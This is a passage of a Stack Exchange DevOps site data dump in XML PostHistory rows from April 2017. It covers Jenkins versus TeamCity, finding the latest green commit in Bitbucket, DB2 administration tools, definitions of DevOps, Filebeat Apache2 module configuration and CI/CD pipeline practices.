appearance.&#xD;&#xA;&#xD;&#xA;I'm pretty sure you can find private paid support plan by third party companies if you look around.  If this is important for your shop don't just block at the &quot;OpenSource&quot; part of the deal, the community is quite expansive.&#xD;&#xA;&#xD;&#xA;Lots, I mean LOTS of plugins.  Again don't just just limit yourself to the official channels, lot more plugins can be found in github and other places.&#xD;&#xA;&#xD;&#xA;I found both to be about equally fast to get started with, though with Jenkins you might need to be more dynamic with plugins than with TeamCity.  So if you have a tight IT department and wont get admin access to the server this could pose a problem.  Compounded by their much faster release cycle than TeamCity (weekly).&#xD;&#xA;&#xD;&#xA;I found that Jenkins does support more release cycle paradigms than TeamCity.  Might be easier to find a process template out of the box that is a closer match to what you have in mind. I say this with reserves as I have not dealt with TeamCity for 2 years now.&#xD;&#xA;&#xD;&#xA;I personally prefer Jenkins mostly because I am biased towards Open Source for such tools and in a lesser degree because I found it's structure and config mechanism agree more with me.&#xD;&#xA;&#xD;&#xA;YMMV" ContentLicense="CC BY-SA 3.0" />
  <row Id="2578" PostHistoryTypeId="2" PostId="809" RevisionGUID="a862f0a5-ff15-41f6-93fc-f75d4628aec0" CreationDate="2017-04-07T14:35:14.570" UserId="736" Text="We're just starting to push for CI-CD and as a baby step we're going to try updating a stack with the latest green develop once every couple of hours. I am fairly new to Git/Bitbucket, and can't figure out how to ensure the checkout that Jenkins makes gets the last commit to have been marked green by Jenkins, rather than just &quot;the last commit&quot; as a blanket statement. &#xD;&#xA;&#xD;&#xA;We have the Bitbucket status notifier plugin installed, so Bitbucket does track which commits are green after our unit tests run. Is there a way to leverage this info to make sure the right commit is picked?" ContentLicense="CC BY-SA 3.0" />
  <row Id="2579" PostHistoryTypeId="1" PostId="809" RevisionGUID="a862f0a5-ff15-41f6-93fc-f75d4628aec0" CreationDate="2017-04-07T14:35:14.570" UserId="736" Text="Git &amp; Jenkins: get latest green commit on branch" ContentLicense="CC BY-SA 3.0" />
  <row Id="2580" PostHistoryTypeId="3" PostId="809" RevisionGUID="a862f0a5-ff15-41f6-93fc-f75d4628aec0" CreationDate="2017-04-07T14:35:14.570" UserId="736" Text="&lt;jenkins&gt;&lt;git&gt;&lt;bitbucket&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2581" PostHistoryTypeId="5" PostId="809" RevisionGUID="b53bdfb3-24a6-414a-b4c1-68f6c28a2eea" CreationDate="2017-04-07T14:43:47.070" UserId="736" Comment="added link" Text="We're just starting to push for CI-CD and as a baby step we're going to try updating a stack with the latest green develop once every couple of hours. I am fairly new to Git/Bitbucket, and can't figure out how to ensure the checkout that Jenkins makes gets the last commit to have been marked green by Jenkins, rather than just &quot;the last commit&quot; as a blanket statement. &#xD;&#xA;&#xD;&#xA;We have the [Bitbucket Build Status Notifier][1] plugin installed, so Bitbucket does track which commits are green after our unit tests run. Is there a way to leverage this info to make sure the right commit is picked?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.jenkins-ci.org/display/JENKINS/Bitbucket+Cloud+Build+Status+Notifier+Plugin" ContentLicense="CC BY-SA 3.0" />
  <row Id="2582" PostHistoryTypeId="2" PostId="810" RevisionGUID="fdc9fc3e-0e4b-4ea2-ac2d-d655685a797b" CreationDate="2017-04-07T15:53:56.040" UserId="1208" Text="Can you please help me out how to upgrade an existing application which is jenkins using chef. I am trying to upgrade Jenkins from 1.x to 2.x and I have a cookbook for 1.x. what steps do I need to take to upgrade 1.x version to 2.x along with plugins. Environment: Rhel and using rpm package to install jenkins" ContentLicense="CC BY-SA 3.0" />
  <row Id="2583" PostHistoryTypeId="1" PostId="810" RevisionGUID="fdc9fc3e-0e4b-4ea2-ac2d-d655685a797b" CreationDate="2017-04-07T15:53:56.040" UserId="1208" Text="Upgrading jenkins using chef" ContentLicense="CC BY-SA 3.0" />
  <row Id="2584" PostHistoryTypeId="3" PostId="810" RevisionGUID="fdc9fc3e-0e4b-4ea2-ac2d-d655685a797b" CreationDate="2017-04-07T15:53:56.040" UserId="1208" Text="&lt;jenkins&gt;&lt;continuous-integration&gt;&lt;chef&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2585" PostHistoryTypeId="2" PostId="811" RevisionGUID="374dbf6c-cbf3-45ab-b5c1-6906c235bda7" CreationDate="2017-04-07T17:52:22.407" UserId="40" Text="To answer this question in the context of a mainframe environment, and specific to DB2® databases, there are typically 2 commonly used (not cheap ...) alternatives to pick from:&#xD;&#xA;&#xD;&#xA;- [Object Administration for DB2®][1], from BMC. Here are some details about it (quote from the linked page):&#xD;&#xA;&#xD;&#xA;  &gt; Making changes to objects in your database—or even just performing routine administrative tasks—can be difficult, risky work. There are dozens of tasks to keep track of, and a single misstep could have a disastrous impact on availability and data integrity. You can cut back on both effort and risk with BMC Object Administration for DB2 11, a collection of tools to help you:&#xD;&#xA;&#xD;&#xA;  &gt; - Reduce the time required to administer complex and disparate DB2 environments.&#xD;&#xA;  &gt; - Automate routine tasks throughout the application lifecycle for improved integrity.&#xD;&#xA;  &gt; - Improve productivity with simplified DB2 catalog navigation and change management.&#xD;&#xA;  &gt; - Enhance application availability by performing changes and maintenance with minimal outages.&#xD;&#xA;&#xD;&#xA;- [DB2 Administration Tool for z/OS][2], from IBM.&#xD;&#xA;&#xD;&#xA;  &gt; It simplifies the complex tasks associated with safely managing DB2 objects and schema throughout the application lifecycle with the least possible impact to availability.&#xD;&#xA;&#xD;&#xA;  &gt; - Allows users to navigate the DB2 catalog quickly and easily&#xD;&#xA;  &gt; - Builds and executes dynamic SQL statements without knowing the exact SQL syntax&#xD;&#xA;  &gt; - Manages and tracks changes made to DB2 object definitions resolving any potential conflicts prior to execution&#xD;&#xA;  &gt; - Helps build DB2 commands to execute against databases and tables&#xD;&#xA;  &gt; - Enables users to create, alter, migrate, drop and reverse engineer DB2 objects&#xD;&#xA;  &gt; - Builds and executes utility jobs, allowing users to take advantage of LISTDEFs and TEMPLATEs for increased productivity&#xD;&#xA;&#xD;&#xA;### Integration with SCM tools&#xD;&#xA;&#xD;&#xA;Some time ago I was challenged by a customer to actually &quot;integrate&quot; the BMC alternative in their SCM lifecycle (managed by [SERENA ChangeMan ZMF][3]). The idea behind such integration being &quot;*Consider our DB2 DBA-team (doing stuff with DDLs) as a special case of a development team, accidentally using some exotic editor (the BMC tool) to produce the code (DDL) to be migrated*&quot;.&#xD;&#xA;&#xD;&#xA;About the only (but *real*!) challenge about this integration was to also facilitate &quot;restartability&quot;, which is one of the key benefits of such DBA tool:&#xD;&#xA;&#xD;&#xA;- *Restartability* means that when this DBA tool is doing its thing (via sometimes long running jobs, as per the nature of the work to be completed), unexpected things may happen (deadlocks, time abends, etc).&#xD;&#xA;&#xD;&#xA;- If any of those things happen, and you don't want to restart from your backup (before you started), then the DBA tool expects you to restart from the (check-)point from which things started to go wrong (and from where you want everything to be re-executed).&#xD;&#xA;&#xD;&#xA;- Better still (or should I say &quot;even worse&quot;?), if a newbee to the DBA tool doesn't real know how to restart from such checkpoint, and simply tries again (from the beginning), then the DBA tool will simply fail with some kind of user error. And this with an indication with something like &quot;*Until you tell me how you want me to proceed after my last point of failure, I refuse to do anything (to not make things even worse)*&quot;.&#xD;&#xA;- In the end, the real clue to implement this restartability in the SCM tool being used, required the SCM tool to be tuned also. Actually to allow it to be used for *restarting failed SCM procedures* (typically related to deliveries to target test/prod environments) ... instead of just *submitting the failed SCM procedure all over again* (which is how typically those SCM tools recover from such situations).&#xD;&#xA;&#xD;&#xA;Bonus: after the SCM integration of the BMC alternative got completed, the customer decided to change their DBA tool to the IBM alternative. And even though both alternatives don't really look the same, the impact of it to the SCM integration was rather minimal: simply a matter of replacing (in some reusable SCM customization) some calls to the BMC alternative by the equivalent calls to the IBM alternative ... which (using DevOps terminology) got implemented by [tag:feature-flags] / [tag:feature-toggles].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.bmc.com/it-solutions/object-administration-db2.html&#xD;&#xA;  [2]: http://www-03.ibm.com/software/products/en/db2admin&#xD;&#xA;  [3]: http://serena.com/products/changeman-zmf/index.html&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2595" PostHistoryTypeId="2" PostId="814" RevisionGUID="e3c9b6f6-b92a-458a-a290-389d89a6ab11" CreationDate="2017-04-07T19:07:09.590" UserId="960" Text="I've heard many, many different definitions of DevOps.  They include:&#xD;&#xA;&#xD;&#xA;* Developers handling operations tasks&#xD;&#xA;* One person doing twice as much work (in the same amount of time)&#xD;&#xA;* Developers and operations teams working with each other&#xD;&#xA;* Operations work for developer tooling (in the vein of &quot;Web Ops&quot;)&#xD;&#xA;* A job title for someone who creates and maintains developer tooling&#xD;&#xA;* The use of automation in operations&#xD;&#xA;* The use of public clouds in operations&#xD;&#xA;* A job that combines aspects of operations, development, and quality assurance&#xD;&#xA;* A job that entails helping the development and operations teams work together&#xD;&#xA;* A philosophy of breaking down barriers between teams&#xD;&#xA;* Treating infrastructure as code&#xD;&#xA;* What you get when former software engineers move into operations&#xD;&#xA;* A completely meaningless buzzword&#xD;&#xA;&#xD;&#xA;There is no public consensus on what DevOps actually *is*.  A few years back we had similar problems with &quot;Agile&quot;, and that [has a written definition](http://agilemanifesto.org/).&#xD;&#xA;&#xD;&#xA;When introducing your concepts to a newcomer, I'd focus on introducing the concepts, rather than applying a label, or else they'll end up hearing conflicting definitions and being confused.  For instance, if you're trying to talk about [infrastructure as code](https://en.wikipedia.org/wiki/Infrastructure_as_Code), tell them that you're talking about infrastructure as code.  The more specific you can be, the better, as even with agreed-upon definitions most companies focus more on certain parts of a philosophy." ContentLicense="CC BY-SA 3.0" />
  <row Id="2596" PostHistoryTypeId="5" PostId="674" RevisionGUID="9c21780e-e77f-42b0-80b4-1140c300b45d" CreationDate="2017-04-07T19:29:34.453" UserId="14" Comment="Use standard spellings of rule as used on Wikipedia; change usage guidance to actually be guidance on **usage** rather than definition " Text="For questions about the four-eye principle (also known as the two-man rule), a security precaution that requires at least two separate people to perform an action. Use this tag for questions about implementing and using the four-eye principle in the context of DevOps." ContentLicense="CC BY-SA 3.0" />
  <row Id="2597" PostHistoryTypeId="24" PostId="674" RevisionGUID="9c21780e-e77f-42b0-80b4-1140c300b45d" CreationDate="2017-04-07T19:29:34.453" Comment="Proposed by 14 approved by 40, 46 edit id of 220" ContentLicense="CC BY-SA 3.0" />
  <row Id="2598" PostHistoryTypeId="5" PostId="742" RevisionGUID="c2477d06-a097-4b40-ad09-d4679b2dd1f5" CreationDate="2017-04-07T19:29:41.963" UserId="14" Comment="Question marks" Text="Continuous Delivery or Continuous Deployment of infrastructure and code is comparatively simple compared to trying the same approaches for databases, specifically RDBMSs.  Code and infrastructure will not change or evolve once deployment has completed.  Databases, however, will have new data added to them making the data if not the schema inherently mutable components.&#xD;&#xA;&#xD;&#xA;I am aware that there are practices such as only adding database objects, i.e. tables and columns, never modifying or removing them - this purely additive way of approaching database schemas has the advantage of ensuring that schemas are backwards compatible at the cost of successively more complicated schemas.&#xD;&#xA;&#xD;&#xA;Equally there are products such as [Flyway][1] and [Ready Roll][2] which assist in writing migrations to be written between versions of a schema.&#xD;&#xA;&#xD;&#xA;What other practices and tools exist currently to allow for continuous deployment of database schemas into a production environment where data integrity is of a concern?&#xD;&#xA;&#xD;&#xA;  [1]: https://flywaydb.org/&#xD;&#xA;  [2]: http://www.red-gate.com/products/sql-development/readyroll/" ContentLicense="CC BY-SA 3.0" />
  <row Id="2599" PostHistoryTypeId="4" PostId="742" RevisionGUID="c2477d06-a097-4b40-ad09-d4679b2dd1f5" CreationDate="2017-04-07T19:29:41.963" UserId="14" Comment="Question marks" Text="What practices or tools enable Continuous Deployment of Databases?" ContentLicense="CC BY-SA 3.0" />
  <row Id="2600" PostHistoryTypeId="24" PostId="742" RevisionGUID="c2477d06-a097-4b40-ad09-d4679b2dd1f5" CreationDate="2017-04-07T19:29:41.963" Comment="Proposed by 14 approved by 40, 46 edit id of 218" ContentLicense="CC BY-SA 3.0" />
  <row Id="2601" PostHistoryTypeId="5" PostId="673" RevisionGUID="7cbf96e7-fc1a-48bb-ae95-156bfbf4a425" CreationDate="2017-04-07T19:29:57.593" UserId="14" Comment="Use standard spellings of rule as used on Wikipedia; change usage guidance to actually be guidance on **usage** rather than definition " Text="The [**four-eye principle** or **two-man rule**][1] is a security precaution that requires at least two separate people to perform an action.  It is often used to mitigate the risk of an individual acting in their own interests.&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Two-man_rule" ContentLicense="CC BY-SA 3.0" />
  <row Id="2602" PostHistoryTypeId="24" PostId="673" RevisionGUID="7cbf96e7-fc1a-48bb-ae95-156bfbf4a425" CreationDate="2017-04-07T19:29:57.593" Comment="Proposed by 14 approved by 40, 46 edit id of 219" ContentLicense="CC BY-SA 3.0" />
  <row Id="2607" PostHistoryTypeId="2" PostId="816" RevisionGUID="36429a6d-b45f-4aef-a78b-3e0c1bda3a1d" CreationDate="2017-04-07T22:57:22.600" UserId="1216" Text="It seems from the GUI that it is not possible (the GPU instance types are simply not listed when you go to create an ECS cluster and look at the list of instance types). However, there is an official AWS blog article [here](https://aws.amazon.com/blogs/compute/orchestrating-gpu-accelerated-workloads-on-amazon-ecs/) indicating that Amazon itself uses ECS in this way.&#xD;&#xA;&#xD;&#xA;I see that there is a an ECS CLI command [register-container-instance](http://docs.aws.amazon.com/cli/latest/reference/ecs/register-container-instance.html) that could theoretically be used like so:&#xD;&#xA;&#xD;&#xA;1. Manually create an EC2 instance with a GPU type.&#xD;&#xA;2. Use `register-container-instance` to register your GPU EC2 instance to an ECS cluster.&#xD;&#xA;&#xD;&#xA;However, the documentation notes that this command is supposed to be internal use only, and also it is a bit of a hack and a lot of extra work." ContentLicense="CC BY-SA 3.0" />
  <row Id="2608" PostHistoryTypeId="1" PostId="816" RevisionGUID="36429a6d-b45f-4aef-a78b-3e0c1bda3a1d" CreationDate="2017-04-07T22:57:22.600" UserId="1216" Text="Is it possible to host an ECS cluster with p2 or other GPU instance types?" ContentLicense="CC BY-SA 3.0" />
  <row Id="2609" PostHistoryTypeId="3" PostId="816" RevisionGUID="36429a6d-b45f-4aef-a78b-3e0c1bda3a1d" CreationDate="2017-04-07T22:57:22.600" UserId="1216" Text="&lt;amazon-web-services&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2611" PostHistoryTypeId="2" PostId="817" RevisionGUID="eda636d9-536d-4067-b14e-400e436e2de4" CreationDate="2017-04-08T04:54:20.780" UserId="1218" Text="I am setting up the Elastic Filebeat beat for the first time.  I have followed the [guide here][1], and have got the Apache2 filebeat module up and running, it's connected to my Elastic and the dashboards have arrived in Kibana. &#xD;&#xA;&#xD;&#xA;Currently it's using the default path to read the Apache log files, but I want to point it to a different directory.&#xD;&#xA;&#xD;&#xA;There is a setting `var.paths` [documented here][2] for this purpose, but I can't see where this setting is applied in the configuration for Filebeat.&#xD;&#xA;&#xD;&#xA;I've looked through the Yaml files in the installation and can see the Apache2 module default config, but it doesn't look like I should modify that.&#xD;&#xA;&#xD;&#xA;I'm guessing I should add something to the filebeat.yml, but there doesn't seem to be a placeholder for &quot;modules.apache&quot; or similar.&#xD;&#xA;&#xD;&#xA;I'm trialling on MacOSX, will be deploying on Ubuntu, but I don't believe this to be a platform-specific question.&#xD;&#xA;&#xD;&#xA;  [1]: https://www.elastic.co/guide/en/beats/filebeat/5.3/filebeat-modules-quickstart.html&#xD;&#xA;  [2]: https://www.elastic.co/guide/en/beats/filebeat/5.3/filebeat-module-apache2.html#_var_paths" ContentLicense="CC BY-SA 3.0" />
  <row Id="2612" PostHistoryTypeId="1" PostId="817" RevisionGUID="eda636d9-536d-4067-b14e-400e436e2de4" CreationDate="2017-04-08T04:54:20.780" UserId="1218" Text="Where is the apache2 filebeat module configured?" ContentLicense="CC BY-SA 3.0" />
  <row Id="2613" PostHistoryTypeId="3" PostId="817" RevisionGUID="eda636d9-536d-4067-b14e-400e436e2de4" CreationDate="2017-04-08T04:54:20.780" UserId="1218" Text="&lt;configuration&gt;&lt;logstash&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2614" PostHistoryTypeId="2" PostId="818" RevisionGUID="3893d218-5bec-48d3-b500-8762078b4117" CreationDate="2017-04-08T05:02:59.307" UserId="1218" Text="After looking a bit further, I found it in the sample called `filebeat.full.yml`&#xD;&#xA;&#xD;&#xA;* So I added this section to the filebeat.yml&#xD;&#xA;* Restarted filebeat &#xD;&#xA;&#xD;&#xA;After running at 100% CPU for minute, Kibana is now immediately showing the results. That was easier than I expected.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    #==========================  Modules configuration ============================&#xD;&#xA;    filebeat.modules:&#xD;&#xA;    &#xD;&#xA;    #------------------------------- Apache2 Module ------------------------------&#xD;&#xA;    - module: apache2&#xD;&#xA;      # Access logs&#xD;&#xA;      access:&#xD;&#xA;        #enabled: true&#xD;&#xA;    &#xD;&#xA;        # Set custom paths for the log files. If left empty,&#xD;&#xA;        # Filebeat will choose the paths depending on your OS.&#xD;&#xA;        var.paths: [&quot;MY-CUSTOM-PATH&quot;]&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2615" PostHistoryTypeId="2" PostId="819" RevisionGUID="e10d3455-d3fe-4d87-abec-708cf4e54480" CreationDate="2017-04-08T07:30:13.093" UserId="51" Text="I realise this answer might not be a perfect fit for you, but here's what I did&#xD;&#xA;&#xD;&#xA;I was the first developer working at a very busy ecommerce startup, with incredibly high traffic. I realise the company was still young, and that, for a while, I would be the only technical in-house resource. &#xD;&#xA;&#xD;&#xA;Knowing this, I decided to structure my infrastructure in such a way, that I would have to do ZERO systems administration. &#xD;&#xA;&#xD;&#xA;I decided to host in the cloud, because doing so relieved me of systems maintenance. &#xD;&#xA;I looked for a AWS engineer, with puppet experience. Together, we architected an autoscalable, infrastructure, written as code in cloudformation. All configuration files were versioned within puppet.&#xD;&#xA;&#xD;&#xA;This allowed me, as a developer, to assume this devops role. I built code release tools, in python, fabric. I used the same script to bootstrap my application onto new servers that are autoscaled. &#xD;&#xA;&#xD;&#xA;This worked very well, and today, 3 years later, I still don't do any system maintenance. We have a systems admin (the same AWS engineer) for 10 hrs a month, and I try to structure his sprints in such a way that I don't become an annoyance for him. In that way I respect his time, and manage his sprints in the best way I can.&#xD;&#xA;&#xD;&#xA;If a system has a degraded performance I simply terminate it, and another one spins up in his place. &#xD;&#xA;&#xD;&#xA;I hope this answer could somehow benefit you  " ContentLicense="CC BY-SA 3.0" />
  <row Id="2616" PostHistoryTypeId="2" PostId="820" RevisionGUID="94e7f353-0fbc-4989-870f-40b2f86f72b6" CreationDate="2017-04-08T11:08:18.893" UserId="1163" Text="I had this exact challenge when implementing at ASOS. The goal for us is to have teams who are self sufficient and so having a dedicated role can be an anti-pattern, however we live in the real world and for many developers thinking about good DevOps practices is not their primary thing so they need help getting there.&#xD;&#xA;&#xD;&#xA;What we did was:&#xD;&#xA;&#xD;&#xA;- lose the term of DevOps engineers, DevOps is something we should all do, not our job title so we called them something different. &#xD;&#xA;&#xD;&#xA;- rolled them out to teams but only 1 per 3, this meant they could not be a doer but had to be seen as a competency to help teams get themselves better and solve their own problems (with guidance)&#xD;&#xA;&#xD;&#xA;- maintained a central function as well to act as competency centre and handle the enterprise considerations, anything that affects all teams &#xD;&#xA;&#xD;&#xA;As we evolve we review this model but for us it is working effectively so far " ContentLicense="CC BY-SA 3.0" />
  <row Id="2617" PostHistoryTypeId="5" PostId="804" RevisionGUID="10d3a18e-1ef1-44b7-9f14-4b1abae4b74d" CreationDate="2017-04-08T20:03:40.583" UserId="13" Comment="Added skills from the job sample to give a better background" Text="I'd argue Devops Engineer as described in your [question link](http://insights.dice.com/2014/10/30/sample-job-description-devops-engineer/) is mainly a sysadmin role.  Quoting the skills here for background to this answer:&#xD;&#xA;&#xD;&#xA;&gt; Your climbing gear.&#xD;&#xA;&gt;&#xD;&#xA;&gt; - Strong background in Linux/Unix Administration&#xD;&#xA;experience with automation/configuration management using either Puppet, Chef or an equivalent&#xD;&#xA;&gt; - Ability to use a wide variety of open source technologies and cloud services (experience with AWS is required)&#xD;&#xA;&gt; - Strong experience with SQL and MySQL (NoSQL experience is a plus, too, since we also use Redis)&#xD;&#xA;&gt; - A working understanding of code and script (PHP, Python, Perl and/or Ruby)&#xD;&#xA;- Knowledge of best practices and IT operations in &gt; an always-up, always-available service&#xD;&#xA;&#xD;&#xA;In this sample job description DevOps Engineer is just a buzz word for a sysadmin comfortable with cloud based infrastructure, automation, able to read code to help in diagnostic, and aware of high availability practices and solutions.&#xD;&#xA;&#xD;&#xA;This is loosely related to DevOps practices and silo breaking culture between dev and ops as seen in this question [What is the difference between Sysadmin and DevOps Engineer?](http://devops.stackexchange.com/q/157/13)&#xD;&#xA;&#xD;&#xA;It won't be a good idea because a sysadmin, how comfortable he/she can be with devops practice and culture, is not the right person to drive a company transformation. You won't be hiring this person with a culture change in mind but with a tool configuration view, which won't really help breaking the processes. This may also be badly received by his/her colleagues and you'll just bring resistance to the change if there's no culture change planned beforehand&#xD;&#xA;&#xD;&#xA;For a successful pattern toward the gains of devops, @[Jiri Klouda](http://devops.stackexchange.com/users/228/jiri-klouda)'s [answer]((http://devops.stackexchange.com/a/801/13)) gives a great overview on an acceptable DevOps Engineer role along with the step in the change it would bring value and help toward success." ContentLicense="CC BY-SA 3.0" />
  <row Id="2618" PostHistoryTypeId="5" PostId="804" RevisionGUID="4ea64358-06c9-4262-8d22-b5ac47f11355" CreationDate="2017-04-08T20:17:31.097" UserId="13" Comment="added 59 characters in body; deleted 60 characters in body" Text="I'd argue Devops Engineer as described in your [question link](http://insights.dice.com/2014/10/30/sample-job-description-devops-engineer/) is mainly a sysadmin role.  Quoting the skills here for background to this answer:&#xD;&#xA;&#xD;&#xA;&gt; Your climbing gear.&#xD;&#xA;&gt;&#xD;&#xA;&gt; - Strong background in Linux/Unix Administration&#xD;&#xA;experience with automation/configuration management using either Puppet, Chef or an equivalent&#xD;&#xA;&gt; - Ability to use a wide variety of open source technologies and cloud services (experience with AWS is required)&#xD;&#xA;&gt; - Strong experience with SQL and MySQL (NoSQL experience is a plus, too, since we also use Redis)&#xD;&#xA;&gt; - A working understanding of code and script (PHP, Python, Perl and/or Ruby)&#xD;&#xA;- Knowledge of best practices and IT operations in  an always-up, always-available service&#xD;&#xA;&#xD;&#xA;In this sample job description DevOps Engineer is just a buzz word for a sysadmin comfortable with cloud based infrastructure, automation, able to read code to help in diagnostic, and aware of high availability practices and solutions.&#xD;&#xA;&#xD;&#xA;This is loosely related to DevOps practices and silo breaking culture between dev and ops as seen in this question [What is the difference between Sysadmin and DevOps Engineer?](http://devops.stackexchange.com/q/157/13)&#xD;&#xA;&#xD;&#xA;It won't be a good idea because a sysadmin, how comfortable he/she can be with devops practice and culture, is not the right person to drive a company transformation. You won't be hiring this person with a culture change in mind but with a tool configuration view, which won't really help breaking the processes. This may also be badly received by his/her colleagues and you'll just bring resistance to the change if there's no culture change planned beforehand&#xD;&#xA;&#xD;&#xA;For a successful pattern toward the gains of devops, @[Jiri Klouda](http://devops.stackexchange.com/users/228/jiri-klouda)'s [answer]((http://devops.stackexchange.com/a/801/13)) gives a great overview on an acceptable DevOps Engineer role along with the step in the change it would bring value and help toward success." ContentLicense="CC BY-SA 3.0" />
  <row Id="2619" PostHistoryTypeId="2" PostId="821" RevisionGUID="1e6ee739-e51c-46d0-aa4c-2fba1b0b4075" CreationDate="2017-04-08T21:09:23.510" UserId="397" Text="I have been practising and advising on DevOps as a consultant with different clients for almost five years now, before my current position, I held roles in software development, web operations and systems administration.  In my **personal** experience DevOps comes in many flavours.&#xD;&#xA;&#xD;&#xA;Organization Patterns&#xD;&#xA;=====================&#xD;&#xA;&#xD;&#xA;DevOps Antipatterns:&#xD;&#xA;&#xD;&#xA; - **NoOps** and **NoDevs** - not strictly DevOps in the most strict sense, however, these teams both build and operate software without a dividing line between Development and Operations.  The challenges with these teams come down to maturity, Development teams may be expert Software Developers but novice Operators and visa versa.&#xD;&#xA;&#xD;&#xA; - **The DevOps Bridge** - this is where one or more teams are given responsibility for taking work from the development teams and &quot;[Productionizing][1]&quot; it to make it operable.  The challenge comes down to now there are two hand-offs, i.e. Development → DevOps and DevOps → Operations.&#xD;&#xA;&#xD;&#xA; - **The DevOps Team** - this can, arguably, work if the team has responsibility for building tools that support the DevOps enabled Operating Model, however, it should probably be called a &quot;Tools Team&quot; or &quot;Platform Team&quot;.&#xD;&#xA;&#xD;&#xA;DevOps Patterns:&#xD;&#xA;&#xD;&#xA; - **Embedded DevOps** - more commonly referred to as Platform Engineering, whereby there is someone within the team who is *accountable but not responsible* for delivering automation, tools and infrastructure for the provisioning and deployment of the solution, sometimes also including operating the software - in my mind, it's the latter that is actually representative of DevOps.&#xD;&#xA;&#xD;&#xA; - **Institutionalized DevOps** - where a project team jointly is responsible for both development and operation of a software package building shared ownership and positive feedback loops.&#xD;&#xA;&#xD;&#xA;Practices&#xD;&#xA;=========&#xD;&#xA;&#xD;&#xA;The actual practice of DevOps builds on top of several other practices, namely:&#xD;&#xA;&#xD;&#xA; - [Agile Delivery][2]&#xD;&#xA; - [Continuous Integration][3]&#xD;&#xA; - [Continuous Delivery][4]&#xD;&#xA; - [Continuous Deployment][5]&#xD;&#xA;&#xD;&#xA;Each of the above practices builds upon the other, it's possible to **not** follow a practice, however, it means an important feedback cycle is missing which may be indicative of a &quot;missed opportunity&quot;.  The key differentiator between following any of the other practices and DevOps is the *operation of software in production*.&#xD;&#xA;&#xD;&#xA;[![DevOps Practices][6]][6]&#xD;&#xA;&#xD;&#xA;The Three Ways&#xD;&#xA;==============&#xD;&#xA;&#xD;&#xA;In [The Phoenix Project][7] Gene Kim and his co-authors describes the [three ways of DevOps][8]:&#xD;&#xA;&#xD;&#xA;Systems Thinking&#xD;&#xA;----------------&#xD;&#xA;&#xD;&#xA;[![Systems Thinking][9]][9]&#xD;&#xA;&#xD;&#xA;&gt; The First Way emphasizes the performance of the entire system, as opposed to the performance of a specific silo of work or department — this as can be as large a division (e.g., Development or IT Operations) or as small as an individual contributor (e.g., a developer, system administrator).&#xD;&#xA;&#xD;&#xA;In my experience starting to get Developers to consider Operational Concerns and Non-functional requirements achieves this goal.  This is very much part of the *culture* aspects of DevOps.&#xD;&#xA;&#xD;&#xA;Amplification of Feedback Loops&#xD;&#xA;-------------------------------&#xD;&#xA;&#xD;&#xA;[![Amplification of Feedback Loops][10]][10]&#xD;&#xA;&#xD;&#xA;&gt; The Second Way is about creating the right to left feedback loops. The goal of almost any process improvement initiative is to shorten and amplify feedback loops so necessary corrections can be continually made.&#xD;&#xA;&#xD;&#xA;I generally achieve this through Continuous Integration/Delivery/Deployment and shared monitoring and alerting, thus it very much fits in with the **tools* component of DevOps.&#xD;&#xA;&#xD;&#xA;Culture of Continuous Experimentation and Learning&#xD;&#xA;--------------------------------------------------&#xD;&#xA;&#xD;&#xA;[![Culture of Continuous Experimentation and Learning][11]][11]&#xD;&#xA;&#xD;&#xA;&gt; The Third Way is about creating a culture that fosters two things: continual experimentation, taking risks and learning from failure; and understanding that repetition and practice is the prerequisite to mastery.&#xD;&#xA;&#xD;&#xA;This fits very much in the *culture* space, although it depends heavily on tools and process to enable the culture to grow.&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Productionisation&#xD;&#xA;  [2]: https://en.wikipedia.org/wiki/Agile_software_development&#xD;&#xA;  [3]: https://www.thoughtworks.com/continuous-integration&#xD;&#xA;  [4]: http://devops.stackexchange.com/questions/tagged/continuous-delivery&#xD;&#xA;  [5]: http://devops.stackexchange.com/questions/tagged/continuous-deployment&#xD;&#xA;  [6]: https://i.stack.imgur.com/LCGnq.png&#xD;&#xA;  [7]: https://www.amazon.co.uk/Phoenix-Project-DevOps-Helping-Business-ebook/dp/B00AZRBLHO&#xD;&#xA;  [8]: http://itrevolution.com/the-three-ways-principles-underpinning-devops/&#xD;&#xA;  [9]: https://i.stack.imgur.com/6LVx9.png&#xD;&#xA;  [10]: https://i.stack.imgur.com/RHMCx.png&#xD;&#xA;  [11]: https://i.stack.imgur.com/41mm9.png" ContentLicense="CC BY-SA 3.0" />
  <row Id="2620" PostHistoryTypeId="2" PostId="822" RevisionGUID="9b777424-96ec-4e4c-b40b-086029f27066" CreationDate="2017-04-08T22:26:00.327" UserId="397" Text="In a typical Continuous Delivery/Deployment pipeline you would have the following happen:&#xD;&#xA;&#xD;&#xA; 1. Developer pushes one or more commits, or, a pull request is merged.&#xD;&#xA; 2. Jenkins automatically builds and executes tests.&#xD;&#xA; 3. If successful Jenkins publishes a deployment package to an Artefact Repository; if failure publishes nothing and notify developers.&#xD;&#xA; 4. Deployment automation uses packages from the Artefact Repository and deploys them.&#xD;&#xA;&#xD;&#xA;[![Simple CI/CD Pipeline][1]][1]&#xD;&#xA;&#xD;&#xA;The goal is to avoid **building** the solution from source twice, you build it once and deploy it many times.  You can implement approvals in [Sonartype Nexus][2] to define the environment approval process, i.e. Dev → Test → UAT → Stage → Production.&#xD;&#xA;&#xD;&#xA;**That said...** if you have read all of the previous and still want to get the latest green build from source control then you can use one of two techniques:&#xD;&#xA;&#xD;&#xA; 1. Have Jenkins tag the branch with a suitably named tag, i.e. `master-green` then use that instead of `master` when you want the latest green build.&#xD;&#xA; 2. Use the BitBucket [commits][3] to get a list of commits and [commit/{sha}/statuses][4] over each one to find the commit with a Green status.&#xD;&#xA;&#xD;&#xA;Feel free to post a follow-up question if you would like the specific detail on how to use the above approaches.&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/xy8NS.png&#xD;&#xA;  [2]: 